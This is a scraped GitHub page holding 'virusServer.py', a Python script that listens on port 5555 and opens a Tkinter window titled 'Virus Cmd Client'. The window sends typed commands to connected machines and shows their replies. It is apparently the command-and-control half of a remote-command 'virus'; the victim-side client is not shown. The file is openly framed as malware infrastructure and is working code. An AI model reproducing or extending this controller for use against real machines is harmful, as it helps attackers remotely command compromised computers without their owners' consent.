-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathvirusServer.py
More file actions
101 lines (70 loc) · 2.6 KB
/
Copy pathvirusServer.py
File metadata and controls
101 lines (70 loc) · 2.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
import socket
import threading
import tkinter
import os
def chat_gui(conn):
def receive():
"""Handles receiving of messages."""
while True:
try:
msg = client_socket.recv(BUFSIZ).decode("utf8")
msg_list.insert(tkinter.END, '[Client]: '+msg)
except OSError: # Possibly client has left the chat.
break
def send(event=None): # event is passed by binders.
"""Handles sending of messages."""
msg = my_msg.get()
print(msg)
my_msg.set("") # Clears input field.
client_socket.send(bytes(msg, "utf8"))
if msg == "{quit}":
client_socket.close()
top.quit()
def on_closing(event=None):
"""This function is to be called when the window is closed."""
top.destroy()
conn.close()
receive_thread.join()
top = tkinter.Tk()
top.title(f"Virus Cmd Client")
top.iconbitmap(os.path.dirname(os.path.abspath(__file__))+'\Radioactive.ico')
messages_frame = tkinter.Frame(top)
my_msg = tkinter.StringVar() # For the messages to be sent.
my_msg.set("Type your command here.")
scrollbar = tkinter.Scrollbar(messages_frame)
# To navigate through past messages.
# Following will contain the messages.
msg_list = tkinter.Listbox(messages_frame, height=25, width=80, yscrollcommand=scrollbar.set)
scrollbar.pack(side=tkinter.RIGHT, fill=tkinter.Y)
msg_list.pack(side=tkinter.LEFT, fill=tkinter.BOTH)
msg_list.pack()
messages_frame.pack()
entry_field = tkinter.Entry(top, textvariable=my_msg)
entry_field.bind("<Return>", send)
entry_field.pack()
send_button = tkinter.Button(top, text="Send", command=send)
send_button.pack()
top.protocol("WM_DELETE_WINDOW", on_closing)
#----Now comes the sockets part----
BUFSIZ = 1024*128
client_socket = conn
receive_thread = threading.Thread(target=receive)
receive_thread.start()
tkinter.mainloop()
HOST = ''
PORT = 5555
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen()
print('[Started]')
# def handle_client(conn):
# while True:
# msg = conn.recv(1024*16).decode()
# print(msg)
# id = threading.active_count()-1
# cmd = input(f'Enter command id = {id}: ').encode()
# conn.send(cmd)
while True:
conn, addr = s.accept()
print('Connected by', addr)
chat_gui(conn)